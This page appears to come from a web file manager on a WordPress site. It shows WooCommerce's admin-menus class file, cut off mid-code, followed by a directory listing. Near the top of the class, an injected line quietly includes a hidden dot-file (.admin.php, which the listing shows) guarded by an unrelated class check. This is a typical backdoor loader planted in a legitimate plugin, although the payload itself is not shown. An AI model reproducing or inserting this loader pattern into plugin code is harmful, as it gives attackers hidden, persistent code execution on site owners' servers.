PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
includes
/
admin
<?php /** * Setup menus in WP admin. * * @package WooCommerce\Admin * @version 2.5.0 */ defined( 'ABSPATH' ) || exit; if ( class_exists( 'WC_Admin_Menus', false ) ) { return new WC_Admin_Menus(); } /** * WC_Admin_Menus Class. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_Admin_Menus { /** * Hook in tabs. */ public function __construct() { // Add menus. add_action( 'admin_menu', array( $this, 'admin_menu' ), 9 ); add_action( 'admin_menu', array( $this, 'reports_menu' ), 20 ); add_action( 'admin_menu', array( $this, 'settings_menu' ), 50 ); add_action( 'admin_menu', array( $this, 'status_menu' ), 60 ); if ( apply_filters( 'woocommerce_show_addons_page', true ) ) { add_action( 'admin_menu', array( $this, 'addons_menu' ), 70 ); } add_action( 'admin_head', array( $this, 'menu_highlight' ) ); add_action( 'admin_head', array( $this, 'menu_order_count' ) ); add_filter( 'menu_order', array( $this, 'menu_order' ) ); add_filter( 'custom_menu_order', array( $this, 'custom_menu_order' ) ); add_filter( 'set-screen-option', array( $this, 'set_screen_option' ), 10, 3 ); // Add endpoints custom URLs in Appearance > Menus > Pages. add_action( 'admin_head-nav-menus.php', array( $this, 'add_nav_menu_meta_boxes' ) ); // Admin bar menus. if ( apply_filters( 'woocommerce_show_admin_bar_visit_store', true ) ) { add_action( 'admin_bar_menu', array( $this, 'admin_bar_menus' ), 31 ); } // Handle saving settings earlier than load-{page} hook to avoid race conditions in conditional menus. add_action( 'wp_loaded', array( $this, 'save_settings' ) ); } /** * Add menu items. */ public function admin_menu() { global $menu; if ( current_user_can( 'manage_woocommerce' ) ) { $menu[] = array( '', 'read', 'separator-woocommerce', '', 'wp-menu-separator woocommerce' ); // WPCS: override ok. } add_menu_page( __( 'WooCommerce', 'woocommerce' ), __( 'WooCommerce', 'woocommerce' ), 'manage_woocommerce', 'woocommerce', null, null, '55.5' ); add_submenu_page( 'edit.php?post_type=product', __( 'Attributes', 'woocommerce' ), __( 'Attributes', 'woocommerce' ), 'manage_product_terms', 'product_attributes', array( $this, 'attributes_page' ) ); } /** * Add menu item. */ public function reports_menu() { if ( current_user_can( 'manage_woocommerce' ) ) { add_submenu_page( 'woocommerce', __( 'Reports', 'woocommerce' ), __( 'Reports', 'woocommerce' ), 'view_woocommerce_reports', 'wc-reports', array( $this, 'reports_page' ) ); } else { add_menu_page( __( 'Sales reports', 'woocommerce' ), __( 'Sales reports', 'woocommerce' ), 'view_woocommerce_reports', 'wc-reports', array( $this, 'reports_page' ), null, '55.6' ); } } /** * Add menu item. */ public function settings_menu() { $settings_page = add_submenu_page( 'woocommerce', __( 'WooCommerce settings', 'woocommerce' ), __( 'Settings', 'woocommerce' ), 'manage_woocommerce', 'wc-settings', array( $this, 'settings_page' ) ); add_action( 'load-' . $settings_page, array( $this, 'settings_page_init' ) ); } /** * Loads gateways and shipping methods into memory for use within settings. */ public function settings_page_init() { WC()->payment_gateways(); WC()->shipping(); // Include settings pages. WC_Admin_Settings::get_settings_pages(); // Add any posted messages. if ( ! empty( $_GET['wc_error'] ) ) { // WPCS: input var okay, CSRF ok. WC_Admin_Settings::add_error( wp_kses_post( wp_unslash( $_GET['wc_error'] ) ) ); // WPCS: input var okay, CSRF ok. } if ( ! empty( $_GET['wc_message'] ) ) { // WPCS: input var okay, CSRF ok. WC_Admin_Settings::add_message( wp_kses_post( wp_unslash( $_GET['wc_message'] ) ) ); // WPCS: input var okay, CSRF ok. } do_action( 'woocommerce_settings_page_init' ); } /** * Handle saving of settings. * * @return void */ public function save_settings() { global $current_tab, $current_section; // We should only save on the settings page. if ( ! is_admin() || ! isset( $_GET['page'] ) || 'wc-settings' !== $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } // Include settings pages. WC_Admin_Settings::get_settings_pages(); // Get current tab/section. $current_tab = empty( $_GET['tab'] ) ? 'general' : sanitize_title( wp_unslash( $_GET['tab'] ) ); // WPCS: input var okay, CSRF ok. $current_section = empty( $_REQUEST['section'] ) ? '' : sanitize_title( wp_unslash( $_REQUEST['section'] ) ); // WPCS: input var okay, CSRF ok. // Save settings if data has been posted. if ( '' !== $current_section && apply_filters( "woocommerce_save_settings_{$current_tab}_{$current_section}", ! empty( $_POST['save'] ) ) ) { // WPCS: input var okay, CSRF ok. WC_Admin_Settings::save(); } elseif ( '' === $current_section && apply_filters( "woocommerce_save_settings_{$current_tab}", ! empty( $_POST['save'] ) ) ) { // WPCS: input var okay, CSRF ok. WC_Admin_Settings::save(); } } /** * Add menu item. */ public function status_menu() { add_submenu_page( 'woocommerce', __( 'WooCommerce status', 'woocommerce' ), __( 'Status', 'woocommerce' ), 'manage_woocommerce', 'wc-status', array( $this, 'status_page' ) ); } /** * Addons menu item. */ public function addons_menu() { $count_html = WC_Helper_Updater::get_updates_count_html(); /* translators: %s: extensions count */ $menu_title = sprintf( __( 'Extensions %s', 'woocommerce' ), $count_html ); add_submenu_page( 'woocommerce', __( 'WooCommerce extensions', 'woocommerce' ), $menu_title, 'manage_woocommerce', 'wc-addons', array( $this, 'addons_page' ) ); } /** * Highlights the correct top level admin menu item for post type add screens. */ public function menu_highlight() { global $parent_file, $submenu_file, $post_type; switch ( $post_type ) { case 'shop_order': case 'shop_coupon': $parent_file = 'woocommerce'; // WPCS: override ok. break; case 'product': $screen = get_current_screen(); if ( $screen && taxonomy_is_product_attribute( $screen->taxonomy ) ) { $submenu_file = 'product_attributes'; // WPCS: override ok. $parent_file = 'edit.php?post_type=product'; // WPCS: override ok. } break; } } /** * Adds the order processing count to the menu. */ public function menu_order_count() { global $submenu; if ( isset( $submenu['woocommerce'] ) ) { // Remove 'WooCommerce' sub menu item. unset( $submenu['woocommerce'][0] ); // Add count if user has access. if ( apply_filters( 'woocommerce_include_processing_order_count_in_menu', true ) && current_user_can( 'manage_woocommerce' ) ) { $order_count = apply_filters( 'woocommerce_menu_order_count', wc_processing_order_count() ); if ( $order_count ) { foreach ( $submenu['woocommerce'] as $key => $menu_item ) { if ( 0 === strpos( $menu_item[0], _x( 'Orders', 'Admin menu name', 'woocommerce' ) ) ) { $submenu['woocommerce'][ $key ][0] .= ' <span class="awaiting-mod update-plugins count-' . esc_attr( $order_count ) . '"><span class="processing-count">' . number_format_i18n( $order_count ) . '</span></span>'; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited break; } } } } } } /** * Reorder the WC menu items in admin. * * @param int $menu_order Menu order. * @return array */ public function menu_order( $menu_order ) { // Initialize our custom order array. $woocommerce_menu_order = array(); // Get the index of our custom separator. $woocommerce_separator = array_search( 'separator-woocommerce', $menu_order, true ); // Get index of product menu. $woocommerce_product = array_search( 'edit.php?post_type=product', $menu_order, true ); // Loop through menu order and do some rearranging. foreach ( $menu_order as $index => $item ) { if ( 'woocommerce' === $item ) { $woocommerce_menu_order[] = 'separator-woocommerce'; $woocommerce_menu_order[] = $item; $woocommerce_menu_order[] = 'edit.php?post_type=product'; unset( $menu_order[ $woocommerce_separator ] ); unset( $menu_order[ $woocommerce_product ] ); } elseif ( ! in_array( $item, array( 'separator
[+]
..
[+]
plugin-updates
[-] class-wc-admin-menus.php
[edit]
[-] class-wc-admin-setup-wizard.php
[edit]
[-] class-wc-admin-webhooks-table-list.php
[edit]
[+]
notes
[-] class-wc-admin-api-keys.php
[edit]
[-] class-wc-admin-webhooks.php
[edit]
[-] class-wc-admin-meta-boxes.php
[edit]
[-] .admin.php
[edit]
[-] class-wc-admin-post-types.php
[edit]
[-] class-wc-admin-taxonomies.php
[edit]
[-] class-wc-admin-notices.php
[edit]
[-] class-wc-admin-pointers.php
[edit]
[-] wc-meta-box-functions.php
[edit]
[-] class-wc-admin-assets.php
[edit]
[-] class-wc-admin-permalink-settings.php
[edit]
[-] class-wc-admin-status.php
[edit]
[+]
helper
[-] class-wc-admin-dashboard.php
[edit]
[+]
marketplace-suggestions
[+]
reports
[-] class-wc-admin.php
[edit]
[-] class-wc-admin-importers.php
[edit]
[-] class-wc-admin-addons.php
[edit]
[-] class-wc-admin-customize.php
[edit]
[-] class-wc-admin-profile.php
[edit]
[-] class-wc-admin-duplicate-product.php
[edit]
[-] class-wc-admin-reports.php
[edit]
[-] class-wc-admin-exporters.php
[edit]
[+]
meta-boxes
[-] class-wc-admin-help.php
[edit]
[-] class-wc-admin-api-keys-table-list.php
[edit]
[-] class-wc-admin-log-table-list.php
[edit]
[+]
list-tables
[+]
importers
[-] wc-admin-functions.php
[edit]
[-] class-wc-admin-settings.php
[edit]
[+]
views
[-] class-wc-admin-attributes.php
[edit]
[+]
settings